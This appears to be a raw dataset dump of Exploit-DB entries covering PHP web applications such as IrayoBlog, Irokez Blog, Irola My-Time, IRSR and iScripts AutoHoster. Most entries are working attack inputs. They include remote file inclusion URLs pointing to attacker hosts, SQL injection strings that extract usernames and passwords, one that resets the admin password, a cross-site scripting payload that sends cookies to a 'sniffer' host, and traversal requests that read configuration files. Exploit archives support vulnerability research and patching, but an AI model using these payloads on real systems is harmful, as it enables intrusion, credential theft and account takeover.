deardaniel/secdata-raw huggingface dataset:
Exploit-DB #2741
Description: IrayoBlog 0.2.4 - '/inc/irayofuncs.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-11-08
Author: DeltahackingTEAM

Exploit:
*********************************************************************************************************
                                              WwW.Deltahacking.NeT (Priv8  Site)
                                              WwW.Deltahacking.Ir    (Public Site)
**********************************************************************************************************

* Portal Name :irayoblog-alpha-0.2.4

* Class = Remote File Inclusion ;
 
* Download =http://ovh.dl.sourceforge.net/sourceforge/irayoblog/irayoblog-alpha-0.2.4.tar.gz

* Found by = Dr.Pantagon (rezayavari2006@yahoo.com)

----------------------------------------------------------------------------------------------------------
- Vulnerable Code

    require($irayodirhack."/inc/configdefaults.php");

++++++++++++++++++++++++++++++++++++++++++++

- Exploit:


    http://[target]/[path]/inc/irayofuncs.php?irayodirhack=http://evilsite.com/shell?



----------------------------------------------------------------------------------------------------------

Special Thanks :  Dr.Trojan , Hiv++ , D_7j , Lord
Special Thanks To Best My Friend : Tanha

**********************************************************************************************************

# milw0rm.com [2006-11-08]
Exploit-DB #17079
Description: IrIran Shoping Script - SQL Injection
Type: webapps
Platform: php
Date: 2011-03-30
Author: Net.Edit0r

Exploit:
==========================================
IrIran Shoping Script SQL Injection Vulnerability
==========================================

[~]######################################### InformatioN
#############################################[~]

[~] Title     : IrIran Shoping Script SQL Injection Vulnerability
[~] Author    : Net.Edit0r
[~] Vendor or Software Link  : http://www.iriran.net
[~] Email     : Black.hat.tm@gmail.com
[~] Data  : 2011-03-29
[~] Google dork: "Powered by: IRIran.net"
[~] Category:  [Webapps]
[~] Tested on: [Linux /php]

[~]#########################################   ExploiT
#############################################[~]

[~] Vulnerable File :

http://127.0.0.1/products/page.php?id=[SQL]

[~] ExploiT         :

-10+UnIoN+SeleCt+1,2,3,4,5,6,7,8,9,10,11--

[~] Example         :

http://127.0.0.1/products/page.php?id=-10+UnIoN+SeleCt+1,2,3,4,5,6,7,8,9,10,11--

[~] Demo            :

http://site.com/products/page.php?id=-10+UnIoN+SeleCt+1,2,3,4,5,6,7,8,9,10,11--


[~]######################################### ThankS To ...
############################################[~]

[~] Black Hat Group Member  :

Net.Edit0r & DarkCoder & fronk & Amir-MaGic & H3x & Milad.C0nn3ct0r #BHG

[~] IRANIAN Young HackerZ # Persian Gulf

[~]#########################################   FinisH :D
#############################################[~]################[~]
Exploit-DB #24480
Description: IRIS Citations Management Tool - (Authenticated) Remote Command Execution
Type: webapps
Platform: php
Date: 2013-02-11
Author: aeon

Exploit:
Here is a bug that I finally found time to write about :-)

https://infosecabsurdity.wordpress.com/2013/02/09/iris-citations-management-tool-post-auth-remote-command-execution/

The attached contains my mini framework, exploit and screenshot.

Cheers!

~ aeon

# I Read It Somewhere (IRIS) <= v1.3 (post auth) Remote Command Execution
# download: http://ireaditsomewhere.googlecode.com 
# Notes: 
# - Found this in my archive, duno how long this has been 0Day for... but I had no use for it obviously.
# - Yes! ..the code is disgusting, but does the job
# - Sorry if I ripped your code, it worked for me and I dont reinvent wheels so thank you!
# ~ aeon (https://infosecabsurdity.wordpress.com/)
#
# Exploit requirements:
# ~~~~~~~~~~~~~~~~~~~~~
#
# - A valid account as at least a user
# - The target to have outgoing internet connectivity

Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/24480.tar.gz
Exploit-DB #8123
Description: irokez blog 0.7.3.2 - Cross-Site Scripting / Remote File Inclusion / Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-02-27
Author: Corwin

Exploit:
================================================================================
|| Irokez Blog BLIND SQL-INJECTION, INCLUDE, ACTIVE XSS
================================================================================

Application: Irokez Blog
------------
Website: http://irokez.org
--------
Version: All (0.7.3.2)
--------
Date: 11-02-2009
-----

[ BLIND SQL-INJECTION ]

[ SOME VULNERABLE CODE ]

/classes/table.class.php

...
if ($is_trans) {
                $query = "select t.*, m.* from {$this->_name} m"
                       . " left join {$this->_name}{$this->_trans} t on (t.{$this->_item} = m.id)"
                       . " where m.id = '$id' group by {$this->_lang}";
        	} else {
                $query = "select * from {$this->_name} where id = '$id'";
        	}
            $result = $this->db->exeQuery($query);

===>>> Exploit:

http://irokez/blog/life/15' and ascii(substring((select concat(login,0x3a,pass) from icm_users limit 0,1),1,1)) between 100 and '115
http://irokez/blog/life/15' and ascii(substring((select concat(login,0x3a,pass) from icm_users limit 0,1),1,1))='114
etc

[ ACTIVE XSS ]

in comments.

[ SOME VULNERABLE CODE ]

/scripts/blog/output-post.inc.php

 <input id="name" type="text" class="text" name="name" value="<?php echo $name?>" />
                <label for="name"><?php echo $GLOBALS['LANG']['blog']['name']?></label>
            </li>
            <li>
                <input id="email" type="text" class="text" name="email" value="<?php echo $email?>" />
                <label for="email"><?php echo $GLOBALS['LANG']['blog']['email']?></label>
            </li>
            <li>
                <input id="site" type="text" class="text" name="site" value="<?php echo $site?>" />
                <label for="site"><?php echo $GLOBALS['LANG']['blog']['site']?></label>
...
 <textarea id="message" name="message" class="textarea"><?php echo $message?></xtextarea>

===>>> Exploit:

<script>img = new Image(); img.src = "http://sniffer/sniff.jpg?"+document.cookie;</script>

[ INCLUDE ]

[ SOME VULNERABLE CODE ]

/thumbnail.php
...
ob_start();
switch ($module) {
    case 'gallery':
        include_once $GLOBALS['PTH']['classes'] . 'gallery.class.php';
        $Obj = new TBL_Gallery;
        $image_path = $GLOBALS['PTH']['gallery'] . getVar($Obj->select($id), 'src');
        break;
    default:
        $image_path = '';
}

===>>> Exploit:

http://irokez/modules/tml/block.tag.php?GLOBALS[PTH][classes]=[include]
http://irokez/scripts/sitemap.scr.php?GLOBALS[PTH][classes]=[include]
http://irokez/thumbnail.php?module=gallery&GLOBALS[PTH][classes]=[include]
http://irokez/spaw/spaw_control.class.php?GLOBALS[spaw_root]=[include]

Author: Eugene "Corwin" Ermakov
-------                                     
	
Contact: corwin88[dog]mail[dot]ru
--------

# milw0rm.com [2009-02-27]
Exploit-DB #32823
Description: Irokez Blog 0.7.3.2 - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2009-02-27
Author: Corwin

Exploit:
source: https://www.securityfocus.com/bid/33931/info

Irokez Blog is prone to multiple input-validation vulnerabilities:

- A cross-site scripting issue
- An SQL-injection issue
- Multiple remote file-include issues

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, execute arbitrary code, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Irokez Blog 0.7.3.2 is vulnerable; other versions may also be affected. 

<script>img = new Image(); img.src = "http://sniffer/sniff.jpg?"+document.cookie;</script>
http://www.example.com/blog/life/15' and ascii(substring((select concat(login,0x3a,pass) from icm_users limit 0,1),1,1)) between 100 and '115
http://www.example.com/blog/life/15' and ascii(substring((select concat(login,0x3a,pass) from icm_users limit 0,1),1,1))='114

http://www.example.com/modules/tml/block.tag.php?GLOBALS[PTH][classes]=[include]
http://www.example.com/scripts/sitemap.scr.php?GLOBALS[PTH][classes]=[include]
http://www.example.com/thumbnail.php?module=gallery&GLOBALS[PTH][classes]=[include]
http://www.example.com/spaw/spaw_control.class.php?GLOBALS[spaw_root]=[include]
Exploit-DB #9369
Description: Irokez CMS 0.7.1 - SQL Injection
Type: webapps
Platform: php
Date: 2009-08-05
Author: Ins3t

Exploit:
[+]--------------------------------------------------------------------------------------------------------------------[+]
[+]--------------------------------------------[Irokez 0.7.1 SQL inlection]--------------------------------------------[+]  
[+]--------------------------------------------------------------------------------------------------------------------[+]

-[INFO]----------------------------------------------------------------------------------------------------------------[+]
[+] Title:Irokez 0.7.1 SQL inlection
[+] Autor: Ins3t
[+] Site: www.arthacking.net
[+] Date:04.08.2009
[+]--------------------------------------------------------------------------------------------------------------------[+]

-[BUG INFO]------------------------------------------------------------------------------------------------------------[+]
[+] The vulnerability is caused by insufficient processing of select() function, which led to the SQL inj.
[+] Conditions: magic_quotes_gpc = Off
[+] Code vulnerable functions:

[+]-------------------------------------------------[CODE]--------------------------------------------------------------[+]
  function select($id)
  {
  if (isset($this->_cache[$id])) {
  $data = $this->_cache[$id];
  } else {
  $data = array();
  /*
  get data
  */
  $is_trans = in_array($this->_name.$this->_trans, $this->db->getTables());
  if ($is_trans) {
  $query = "select t.*, m.* from {$this->_name} m"
  . " left join {$this->_name}{$this->_trans} t on (t.{$this->_item} = m.id)"
  . " where m.id = '$id' group by {$this->_lang}";
  } else {
  $query = "select * from {$this->_name} where id = '$id'";
  }
  $result = $this->db->exeQuery($query);

  $main_fields = $this->db->getFields($this->_name);
  if ($is_trans) {
  $trans_fields = $this->db->getFields($this->_name . $this->_trans);
  $trans_fields = array_flip($trans_fields);
  } else {
  $trans_fields = array();
  }
  unset($trans_fields[$this->_item], $trans_fields[$this->_lang]);
  $trans_fields = array_flip($trans_fields);
   
  $data = array();
  while ($row = mysql_fetch_assoc($result)) {
  foreach ($row as $field => $value) {
  if (in_array($field, $main_fields)) {
  $data[$field] = $value;
  } elseif (in_array($field, $trans_fields)) {
  $data[$field][$row[$this->_lang]] = $value;
  }
  }
  }
  if (isset($data['id'])) {
  $this->_cache[$data['id']] = $data;
  }
  }
  return $data;
  }
[+]------------------------------------------------[/CODE]-------------------------------------------------------------[+]

[+] Exploit: 

[+]-------------------------------------------------[CODE]--------------------------------------------------------------[+]

http://localhost/cms/ru/news/7'+union+select+1,2,concat_ws(0x3a,login,pass),4,5,6,7,8,9,10,11,12+from+icm_users--+/?page=1

[+]------------------------------------------------[/CODE]-------------------------------------------------------------[+]

# milw0rm.com [2009-08-05]
Exploit-DB #4649
Description: Irola My-Time 3.5 - SQL Injection
Type: webapps
Platform: php
Date: 2007-11-23
Author: Aria-Security Team

Exploit:
Aria-Security Team
http://Aria-Security.Net
-----------------------------
Original Advisory @ http://aria-security.net/forum/showthread.php?p=1106
Vendor: http://www.irola.com

Username/Password Fields can run SQL Queries. Therefore:
We get the Tables:

UserInfo.UserID
UserInfo.Login
UserInfo.Password
UserInfo.UserNumber
UserInfo.FirstName
UserInfo.LastName
UserInfo.TeamID
UserInfo.Address
UserInfo.City
UserInfo.ZipCode
UserInfo.CountryID
UserInfo.Phone



Useful Injection: (changes admin's passwsord to hacked)
-1' UPDATE UserInfo set [CREDENTIAL_REDACTED]' Where(UserID= '1');--

these  may help the attacker to get more info:

1' or 1=convert(int,@@version)--
1' or 1=convert(int,@@servername)--
1' or 1=convert(int,db_name())--
1' or 1=convert(int,user_name())--
1' or 1=convert(int,system_user)--

Greetz: AurA
Credits goes to Aria-Security Team
Regards,
The-0utl4w

# milw0rm.com [2007-11-23]
Exploit-DB #28778
Description: ironwebmail 6.1.1 - Directory Traversal Information Disclosure
Type: webapps
Platform: php
Date: 2006-10-16
Author: Derek Callaway

Exploit:
source: https://www.securityfocus.com/bid/20436/info

IronWebMail is prone to a remote information-disclosure vulnerability because the application fails to properly sanitize user-supplied input.

Exploiting this issue allows remote, unauthenticated attackers to retrieve the contents of arbitrary files from vulnerable computers with the privileges of the webserver process. Information harvested may aid in further attacks.

IronWebMail versions prior to 6.1.1 HotFix-17 are affected by this vulnerability.

GET /IM_FILE(%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/admin.xml) HTTP/1.0[CRLF][CRLF]
Exploit-DB #2199
Description: IRSR 0.2 - '_sysSessionPath' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-17
Author: Kacper

Exploit:
/*
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-   - - [DEVIL TEAM THE BEST POLISH TEAM] - -
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- IRSR - Invisionix Roaming System Remote <= 0.2 [_sysSessionPath] Remote File Include Vulnerabilities
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- [Script name: IRSR - Invisionix Roaming System Remote v. 0.2
- [Script site: http://www.invisionix.org or http://sourceforge.net/projects/irsr
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-          Find by: Kacper (a.k.a Rahim)
+
-          Contact: kacper1964@yahoo.pl
-                        or
-          http://www.devilteam.yum.pl/
-                       and
-           http://www.rahim.webd.pl/
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- Special Greetz: DragonHeart :-)
- Ema: Leito, Adam, DeathSpeed, Drzewko, pepi
+
- P.S: Pozdrawiam ludzi z United Crew!
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-            Z Dedykacja dla osoby,
-         bez ktorej nie mogl bym zyc...
-           K.C:* J.M (a.k.a Magaja)
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
*/
/*
vulnerable code => pageheaderdefault.inc.php line 28-36:
[code]
//
// Perform the session handling preprocessing.
//
require_once    ($_sysSessionPath);    // Include the session handling functions.

mysql_connect($_sysDBhost1,$_sysDBuser1Login,$_sysDBuser1LoginPass) or die("Could NOT obtain authentication info after login!
");
mysql_select_db($_sysDBname) or die("Was NOT able to obtain authentication info after login!
");
$dblink=@mysql_connect($_sysDBhost1,$_sysDBuser1Login,$_sysDBuser1LoginPass);
$session=updateSession($dblink,$session);    // Should the user have access to this page?
[/code]
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Fix:
[code]
$_sysSessionPath = @dirname(@dirname(@dirname(__FILE__)));
require_once    ($_sysSessionPath);    // Include the session handling functions.

mysql_connect($_sysDBhost1,$_sysDBuser1Login,$_sysDBuser1LoginPass) or die("Could NOT obtain authentication info after login!");
mysql_select_db($_sysDBname) or die("Was NOT able to obtain authentication info after login!");
$dblink=@mysql_connect($_sysDBhost1,$_sysDBuser1Login,$_sysDBuser1LoginPass);
$session=updateSession($dblink,$session);    // Should the user have access to this page?
[/code]
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
*/
#Exploit:

http://www.site.com/[IRSR_path]/system/includes/pageheaderdefault.inc.php?_sysSessionPath=[http://www.myevilsite.com/evil_scripts.txt]

# milw0rm.com [2006-08-17]
Exploit-DB #38887
Description: iScripts AutoHoster - 'additionalsettings.php' SQL Injection
Type: webapps
Platform: php
Date: 2013-12-15
Author: i-Hmx

Exploit:
source: https://www.securityfocus.com/bid/64377/info
  
iScripts AutoHoster is prone to multiple security vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
An attacker can exploit these vulnerabilities to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database, to execute arbitrary commands or script code in the context of the application, and obtain sensitive information that may aid in further attacks.
  
Time based Blind Injection
/additionalsettings.php
Post : submit=faris&cmbdomain=%Inject_Here%
Exploit-DB #38885
Description: iScripts AutoHoster - 'checktransferstatus.php' SQL Injection
Type: webapps
Platform: php
Date: 2013-12-15
Author: i-Hmx

Exploit:
source: https://www.securityfocus.com/bid/64377/info

iScripts AutoHoster is prone to multiple security vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker can exploit these vulnerabilities to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database, to execute arbitrary commands or script code in the context of the application, and obtain sensitive information that may aid in further attacks. 

/checktransferstatus.php
Table name : submit=faris&cmbdomain=i-Hmx' /*!1337union all select 0x[PII_REDACTED],(select distinct concat(0x7e,0x27,unhex(Hex(cast(table_name as char))),0x27,0x7e) from information_schema.tables where table_schema=database()limit 53,1),0x723078 and 'faris'='1337
Staff number : submit=faris&cmbdomain=i-Hmx' /*!1337union all select 0x[PII_REDACTED],(select concat(0x3e3e,count(*),0x3c3c) from autohoster_staffs),0x723078 and 'faris'='1337
Staff Data : submit=faris&cmbdomain=i-Hmx' /*!1337union all select 0x[PII_REDACTED],(select concat(0x3e3e,unhex(Hex(cast(vPassword as char))),0x5e,unhex(Hex(cast(vLogin as char))),0x5e,unhex(Hex(cast(vMail as char))),0x3c3c) from autohoster_staffs limit 0,1) ,0x723078 and 'faris'='1337
Exploit-DB #38886
Description: iScripts AutoHoster - 'checktransferstatusbck.php' SQL Injection
Type: webapps
Platform: php
Date: 2013-12-15
Author: i-Hmx

Exploit:
source: https://www.securityfocus.com/bid/64377/info
 
iScripts AutoHoster is prone to multiple security vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
An attacker can exploit these vulnerabilities to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database, to execute arbitrary commands or script code in the context of the application, and obtain sensitive information that may aid in further attacks.
 
/checktransferstatusbck.php
Table name : submit=faris&cmbdomain=i-Hmx' /*!1337union all select 0x[PII_REDACTED],(select distinct concat(0x7e,0x27,unhex(Hex(cast(table_name as char))),0x27,0x7e) from information_schema.tables where table_schema=database()limit 53,1),0x723078 and 'faris'='1337
Staff number : submit=faris&cmbdomain=i-Hmx' /*!1337union all select 0x[PII_REDACTED],(select concat(0x3e3e,count(*),0x3c3c) from autohoster_staffs),0x723078 and 'faris'='1337
Staff Data : submit=faris&cmbdomain=i-Hmx' /*!1337union all select 0x[PII_REDACTED],(select concat(0x3e3e,unhex(Hex(cast(vPassword as char))),0x5e,unhex(Hex(cast(vLogin as char))),0x5e,unhex(Hex(cast(vMail as char))),0x3c3c) from autohoster_staffs limit 0,1) ,0x723078 and 'faris'='1337
Exploit-DB #38891
Description: iScripts AutoHoster - 'fname' Local File Inclusion
Type: webapps
Platform: php
Date: 2013-12-15
Author: i-Hmx

Exploit:
source: https://www.securityfocus.com/bid/64377/info
      
iScripts AutoHoster is prone to multiple security vulnerabilities because it fails to sufficiently sanitize user-supplied data.
      
An attacker can exploit these vulnerabilities to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database, to execute arbitrary commands or script code in the context of the application, and obtain sensitive information that may aid in further attacks.
      
/admin/downloadfile.php > probably injected by the Guy who nulled the script (thank u any way ;p)
$filename  = urldecode($_GET['fname']);
header("content-disposition:attachment;filename=$filename");
readfile($filename)
no need to cancel any thing , just beat it bro ;)
[+] Exploit : /admin/downloadfile.php?fname=../includes/config.php
Exploit-DB #38892
Description: iScripts AutoHoster - 'id' Local File Inclusion
Type: webapps
Platform: php
Date: 2013-12-15
Author: i-Hmx

Exploit:
source: https://www.securityfocus.com/bid/64377/info
       
iScripts AutoHoster is prone to multiple security vulnerabilities because it fails to sufficiently sanitize user-supplied data.
       
An attacker can exploit these vulnerabilities to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database, to execute arbitrary commands or script code in the context of the application, and obtain sensitive information that may aid in further attacks.
       
/support/admin/csvdownload.php
  $filename="../csvfiles/".addslashes($_GET["id"]).".txt";
  header('Content-Description: File Transfer'); 
  header('Content-Type: application/force-download'); 
  header('Content-Length: ' . filesize($filename)); 
  header('Content-Disposition: attachment; filename=' . basename($filename)); 
  readfile($filename);
[+] Exploit : /support/admin/csvdownload.php?id=../../includes/config.php%00
Exploit-DB #38888
Description: iScripts AutoHoster - 'invno' SQL Injection
Type: webapps
Platform: php
Date: 2013-12-15
Author: i-Hmx

Exploit:
source: https://www.securityfocus.com/bid/64377/info
   
iScripts AutoHoster is prone to multiple security vulnerabilities because it fails to sufficiently sanitize user-supplied data.
   
An attacker can exploit these vulnerabilities to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database, to execute arbitrary commands or script code in the context of the application, and obtain sensitive information that may aid in further attacks.
   
/payinvoiceothers.php
invno=%Inject_Here%
Exploit-DB #38889
Description: iScripts AutoHoster - 'main_smtp.php' Traversal
Type: webapps
Platform: php
Date: 2013-12-15
Author: i-Hmx

Exploit:
source: https://www.securityfocus.com/bid/64377/info
    
iScripts AutoHoster is prone to multiple security vulnerabilities because it fails to sufficiently sanitize user-supplied data.
    
An attacker can exploit these vulnerabilities to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database, to execute arbitrary commands or script code in the context of the application, and obtain sensitive information that may aid in further attacks.
    
/support/parser/main_smtp.php
^
Just light sandwitch before the fatty food :))